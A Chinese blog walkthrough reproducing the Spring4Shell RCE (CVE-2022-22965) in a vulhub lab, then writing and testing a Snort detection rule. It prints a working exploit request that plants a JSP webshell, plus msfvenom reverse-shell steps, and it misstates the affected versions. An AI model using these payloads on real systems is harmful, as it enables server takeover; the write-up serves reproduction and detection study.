抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

漏洞详情

漏洞简介

2022年3月30日,Spring框架曝出RCE 0day漏洞,国家信息安全漏洞共享平台(CNVD)已收录了Spring框架远程命令执行漏洞(CNVD-2022-23942),考虑到Spring框架的广泛应用,漏洞被评级为危险。

通过该漏洞可写入webshell以及命令执行。在Spring框架的JDK9版本(及以上版本)中,远程攻击者可在满足特定条件的基础上,通过框架的参数绑定功能获取AccessLogValve对象并诸如恶意字段值,从而触发pipeline机制并写入任意路径下的文件。

漏洞利用条件

  1. Apache Tomcat作为Servlet容器;
  2. 使用JDK9及以上版本的Spring MVC框架;
  3. Spring框架以及衍生的框架spring-beans-*.jar文件或者存在

漏洞影响范围

1、JDK JDK 9+

2、Spring Framework 5.3.18+ 5.2.20+

docker中已经配置好jdk环境了。docker中的环境与宿主机jdk环境无关。只是当时做实验的时候,刚好也装了jdk9,记录了一下安装过程。

ubuntu下jdk9安装:

官网下载jdk,放入解压到路径/usr/lib/jvm

利用update-alternatives 进行jdk版本切换

数字越大,优先级越高

执行命令:

1
2
3
4
5
6
7
sudo update-alternatives --install /usr/bin/java java /usr/lib/jvm/jdk-9.0.4/bin/java 1000
sudo update-alternatives --install /usr/bin/javac javac /usr/lib/jvm/jdk-9.0.4/bin/javac 1000
sudo update-alternatives --install /usr/bin/jar jar /usr/lib/jvm/jdk-9.0.4/bin/jar 1000
sudo update-alternatives --install /usr/bin/javah javah /usr/lib/jvm/jdk-9.0.4/bin/javah 1000
sudo update-alternatives --install /usr/bin/javap javap /usr/lib/jvm/jdk-9.0.4/bin/javap 1000
sudo update-alternatives --install /usr/bin/jshell jshell /usr/lib/jvm/jdk-9.0.4/bin/jshell 1000
sudo update-alternatives --install /usr/bin/jconsole jconsole /usr/lib/jvm/jdk-9.0.4/bin/jconsole 1000

修改配置

1
vim /etc/profile
1
2
3
4
5
6
7
8
9
10
#env
#export JAVA_HOME=/usr/lib/jvm/jdk-9.0.4
#export JRE_HOME=/usr/lib/jvm/jdk-9.0.4/jre
#export CLASSPATH=.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib:$CLASSPATH
#export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH

#export JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
#export JRE_HOME=/usr/lib/jvm/java-8-openjdk-amd64/jre
#export PATH=$JAVA_HOME/bin:$JAVA_HOME/jre/bin:$PATH
#export CLASSPATH=$CLASSPATH:.:$JAVA_HOME/lib:$JAVA_HOME/jre/lib
1
source /etc/profile

检查一下

1
update-alternatives --display javac

每一个命令都是auto 模式,这样才会自动选择优先级高的。为了确保,可以不用管现在的状态,直接设置一遍这些命令为auto模式。

1
2
3
4
5
6
sudo update-alternatives --auto java
sudo update-alternatives --auto javac
sudo update-alternatives --auto javap
sudo update-alternatives --auto javah
sudo update-alternatives --auto jconsole
sudo update-alternatives --auto jshell

版本检查

1
2
/usr/bin/java -version
java -version

环境配置

主机系统:Apple M1,macOS Ventura version13.0

虚拟机系统(docker靶场系统): ubuntu 20.04.2 x86 (腾讯云服务器)

漏洞复现

靶场项目:https://github.com/vulhub/vulhub

ubuntu安装docker

源:https://lug.ustc.edu.cn/wiki/mirrors/help/docker/

1
2
3
4
curl -fsSL https://get.docker.com | bash -s docker --registry-mirror=https://docker.mirrors.ustc.edu.cn
docker --version
systemctl start docker
systemctl enable docker # 自启

安装pip

1
2
curl -s https://bootstrap.pypa.io/get-pip.py | python3
sudo apt install python3-pip

安装docker-compose

1
2
sudo pip3 install docker-compose 
docker-compose --version

启动靶场环境

1
2
3
4
5
6
7
8
9
10
11
12
13
# 下载项目
wget https://github.com/vulhub/vulhub/archive/master.zip -O vulhub-master.zip
unzip vulhub-master.zip
cd vulhub-master

# 进入某一个漏洞/环境的目录
cd Spring/CVE-2022-22965

# 自动化编译环境
sudo docker-compose build

# 启动整个环境
sudo docker-compose up -d

可能遇到的问题:卡在了pulling阶段。

因为docker加速器超时导致pull不下来,改成国内镜像

1
sudo vim /etc/docker/deamon.json

添加以下内容:

1
2
3
4
{
"registry-mirrors": ["https://docker.mirrors.ustc.edu.cn/","https://hub-mirror.c.163.com","https://registry.docker-cn.com"],
"insecure-registries": ["10.0.0.12:5000"]
}

重启

1
2
3
systemctl stop docker
systemctl start docker.service
systemctl status docker.service

漏洞版本验证

进入docker控制台

1
2
3
4
# 找到环境的id
docker ps
# bash
docker exec -it <ID> /bin/bash

JDK

1
2
cd /usr/local/tomcat/bin
./version.sh

利用链

利⽤class对象构造利⽤链,对Tomcat的日志配置进行修改,然后,向⽇志中写⼊shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

# 构建文件的内容
class.module.classLoader.resources.context.parent.pipeline.first.pattern=

# 修改tomcat日志文件后缀
class.module.classLoader.resources.context.parent.pipeline.first.suffix=

# 写入文件所在的网站根目录
class.module.classLoader.resources.context.parent.pipeline.first.directory=

# 写入文件名称
class.module.classLoader.resources.context.parent.pipeline.first.prefix=

# 文件日期格式(实际构造为空值即可)
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

构造payload

1
2
3
4
5
6
7
8
9
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{test}i

class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp

class.module.classLoader.resources.context.parent.pipeline.first.directory=/app/tomcat/webapps/ROOT/

class.module.classLoader.resources.context.parent.pipeline.first.prefix=testfile

class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

GET发送

1
2
3
4
5
6
7
8
9
10
11
12
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
suffix: %>//
c1: Runtime
c2: <%
DNT: 1

服务器上验证,确实已经生成了jsp

访问写入的webshell文件

1
http://your-ip:8080/tomcatwar.jsp?pwd=j&cmd=id

清空

需要在利用完成后将class.module.classLoader.resources.context.parent.pipeline.first.pattern清空,否则每次请求都会写入新的恶意代码在JSP Webshell中,导致这个文件变得很大。发送如下数据包将其设置为空:

1
2
3
4
5
6
7
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

总体来说,这个漏洞的利用方法会修改目标服务器配置,导致目标需要重启服务器才能恢复,实际测试中需要格外注意。

反弹shell

用msf生成木马

1
2
3
4
5
# msf5的语法 
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=your-公网ip LPORT=7777 -f elf > shell.elf

# msf6的语法
msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=your-公网ip LPORT=7777 -f elf > shell.elf

Lhost是监听机器的ip。因为目标机也是公网中的,所以监听机器也需要是公网IP,这样才能访问到。

msf生成的shell.elf是在本地的,需要自己想办法传到服务器上。

端口随便写,但是要打开对应的防火墙规则。

kali:

1
2
3
4
apt-get install ufw
ufw status
ufw enable
ufw allow 7777

木马上传

正常情况下,应该是在公网的vps下面生成elf,然后wget下载。但我这次在本地生成的,所以直接scp拷到服务器上去。

宿主机向docker传输文件

1
2
docker cp 本地文件的路径 container_id:<docker容器内的路径>
docker cp /home/ubuntu/shell.elf 1e652d6144ae:/usr/local/tomcat/webapps/ROOT/

赋予木马权限

1
2
3
chmod 777 /shell.elf
# url编码
chmod%20777%20%2Fshell.elf
1
your-公网ip:8080/tomcatwar.jsp?pwd=j&cmd=chmod%20777%20%2Fshell.elf

msf开启监听

在公网服务器上

ubuntu上快速安装msf:https://www.cnblogs.com/tomyyyyy/p/12813299.html

1
2
3
4
5
6
msfconsole                                         # 在命令行里面输入命令,进入msf漏洞利用框架;
use exploit/multi/handler # 监听木马反弹过来的shell
set payload linux/x86/meterpreter_reverse_tcp # 设置payload,不同的木马设置不同的payload,设置payload时,要根据目标系统的系统位数设置相应的payload;
set lhost <ip> # vps ip
set lport <vps端口> # vps端口
exploit # 开始进行监听;

执行木马

1
2
/tomcatwar.jsp?pwd=j&cmd=./shell.elf
/tomcatwar.jsp?pwd=j&cmd=.%2Fshell.elf

抓包

过滤语句:ip终点选靶机的IP。起点选择攻击机的IP。因为靶场走的8080端口,http协议。所以筛选条件加上http协议。

1
ip.dst == <靶机IP> && http

追随No.1277和1566的http流

特征流量分析

pipeline.first.pattern


对get头进行解码:

1
/?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

pipeline.first.suffix

parent.pipeline.first.directory

pipeline.first.prefix

pipeline.first.fileDateFormat

漏洞规则

规则思路👇

1
alert tcp any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"SpringCore RCE"; flow:to_server,established; content:"pipeline.first.pattern="; http_uri; fast_pattern; classtype:attempted; sid:100000; rev:2;)

snort规则验证

snort的各种配置以及环境,见以前的blog:https://gryffinbit.top/categories/%E5%85%A5%E4%BE%B5%E6%A3%80%E6%B5%8B/snort/


把刚刚抓到的数据包放进snort环境中

把写好的规则文件也放进环境中。

规则配置

把规则文件放进规则路径,并修改snort.conf配置

1
2
3
4
mv CVE-2022-22965.rules /etc/snort/rules
cd /etc/snort/rules
ls
vim /etc/snort/snort.conf

修改snort.conf的内容

设置需要保护的ip地址

1
2
# Setup the network addresses you are protecting
ipvar HOME_NET server_public_ip/24
1
2
# Set up the external network addresses. Leave as "any" in most situations
ipvar EXTERNAL_NET !$HOME_NET

1
2
3
4
# Path to your rules files (this can be a relative path)
var RULE_PATH /etc/snort/rules
var SO_RULE_PATH /etc/snort/so_rules
var PREPROC_RULE_PATH /etc/snort/preproc_rules
1
2
3
# Set the absolute path appropriately
var WHITE_LIST_PATH /etc/snort/rules
var BLACK_LIST_PATH /etc/snort/rules

在setp6里,设置输出

1
2
3
# unified2
# Recommended for most installs
output unified2: filename snort.log, limit 128

翻到最下面,找到规则集列表。打开local.rules的注释,以允许snort装载个性化规则集。

1
include $RULE_PATH/CVE-2022-22965.rules

保存编辑:wq

测试是否能正常工作

1
sudo snort -T -c /etc/snort/snort.conf

运行成功


规则验证

tips:

Wireshark抓的包可能校验和不对,校验和不对的流量,snort不会检测。

可以通过scapy进行校验和修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from scapy.all import *
from scapy.layers.inet import in4_chksum, IP, TCP

packets = rdpcap('/Users/gryffinbit/Desktop/test3.pcap')
pkts = []
for pkt in packets:
print("------------")
if pkt["TCP"]:
print("old chksum: 0x{:x}".format(pkt['TCP'].chksum))
pkt['TCP'].chksum = 0
tcp_raw = raw(pkt[TCP])
nchksum = in4_chksum(socket.IPPROTO_TCP, pkt[IP], tcp_raw)
print("new chksum: 0x{:x}".format(nchksum))
pkt['TCP'].chksum = nchksum
pkts.append(pkt)

wrpcap("out.pcap", pkts)

snort接受pcap的格式,所以还需要将包保存为pcap的格式

1
snort -c /etc/snort/snort.conf -r Spring【CVE-2022-22965】.pcap -l /var/log/snort/

检验成功

附录:snort 文件部署路径

snort安装包所在路径、相关文档

1
/home/parallels/snortFile
  • doc:snort的一些说明文档所在文件夹

snort规则文件、配置文件

1
cd /etc/snort

snort日志文件

1
cd /var/log/snort

snort运行

1
/usr/local/bin/snort

规则路径

1
/etc/snort/rules

配置路径

1
/etc/snort/snort.conf

参考文章

https://www.freebuf.com/vuls/345007.html

https://www.freebuf.com/vuls/326878.html

https://blog.csdn.net/weixin_45632448/article/details/124043082

评论